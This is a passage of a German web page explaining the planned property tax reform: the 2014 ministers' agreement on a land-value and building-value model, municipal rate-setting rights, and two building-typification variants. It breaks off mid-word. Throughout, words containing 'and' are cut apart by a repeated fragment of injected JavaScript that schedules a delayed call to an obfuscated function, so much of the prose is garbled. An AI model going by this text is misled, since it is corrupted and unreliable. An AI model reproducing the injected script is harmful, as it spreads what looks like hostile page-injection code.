Grundsteuerreform

Reform der Grundsteuer

Die Reform der Grundsteuer steht seit vielen Jahren in der politischen Diskussion. Im März 2014 haben die Finanzminister der Länder Eckpunkte für das weitere Vorgehen bei der Reform der Grundsteuer festgelegt. Die drei bis zu diesem Zeitpunkt diskutierten und einer Modellrechnung unterzogenen Reformmodelle wurden nicht weiter verfolgt. Die Finanzminister einigten sich in Grundzügen auf ein neues Modell einer Grundsteuerreform, das aus einer Bodenwertkomponente und einer Gebäudewertkomponente bestehen soll. Dabei sollen vorhandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andene elektronische Daten soweit wie möglich genutzt werden.

Die Berücksichtigung der Gebäude für die neue Grundsteuer soll wertorientiert erfolgen. Dazu soll ein System gewählt werden, das die Gebäude nach Typen sortiert und ebenfalls möglichst mit dem vorhandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andenen Datenbestandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and elektronisch administriert werden kann. Den Ländern soll zudem die Möglichkeit zur Einführung landom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andesspezifischer Messzahlen bei der Boden- und der Gebäudewertkomponente eingeräumt werden. Hinsichtlich des Differenzierungsumfangs soll eine „Mindest-Messzahl“ bzw. ein „Messzahl-Korridor“ eingeführt werden, um die möglichen Abweichungen zwischen den einzelnen Ländern zu begrenzen. Das Hebesatzrecht für die Kommunen soll erhalten bleiben. Dies ist für den Städte- und Gemeindebund auf Bundes- und Landom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andesebene eine unverzichtbare Anforderung an eine Grundsteuerreform.

Der länderoffenen Arbeitsgruppe Grundsteuerreform wurde durch die Finanzminister der Länder der Auftrag erteilt, ihr für die Gebäudekomponente des neuen Grundsteuermodells zwei konkrete Varianten mit unterschiedlich stark typisierenden Bemessungsgrundlagen vorzulegen. Dabei handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andelt es sich bei der Variante 1 um die sog. „Starke Typisierung“ und bei der Variante 2 um die sog. „Mittlere Typisierung“ (siehe unten). Die Arbeitsgruppe hat seitdem zweimal unter Beteiligung des Deutschen Städte- und Gemeindebundes getagt und die in der Diskussion stehenden Varianten konkretisiert. Bei beiden Modellen setzt sich die Berechnungsgrundlage aus einer Bodenwertkomponente (bei beiden Modellen analog zu erheben) sowie einer Gebäudewertkomponente zusammen, zu deren Ermittlung die Modelle unterschiedliche Ansätze verfolgen.

Die Variante 1 („Starke Typisierung“) unterscheidet bei bebauten Grundstücken zwischen Nutzung zu Wohnzwecken, Nutzung zu Nicht-Wohnzwecken (drei Untergruppen) sowie Mischnutzung. Bei der Nutzung zu Wohnzwecken wird der Berechnung die „Typisierte Gebäudefläche“ zugrunde gelegt, die sich aus der bebauten Grundstücksfläche und der Anzahl der oberirdischen Geschosse errechnet. Diese „typisierte Grundfläche“ soll nach Möglichkeit automatisiert auf Basis vorh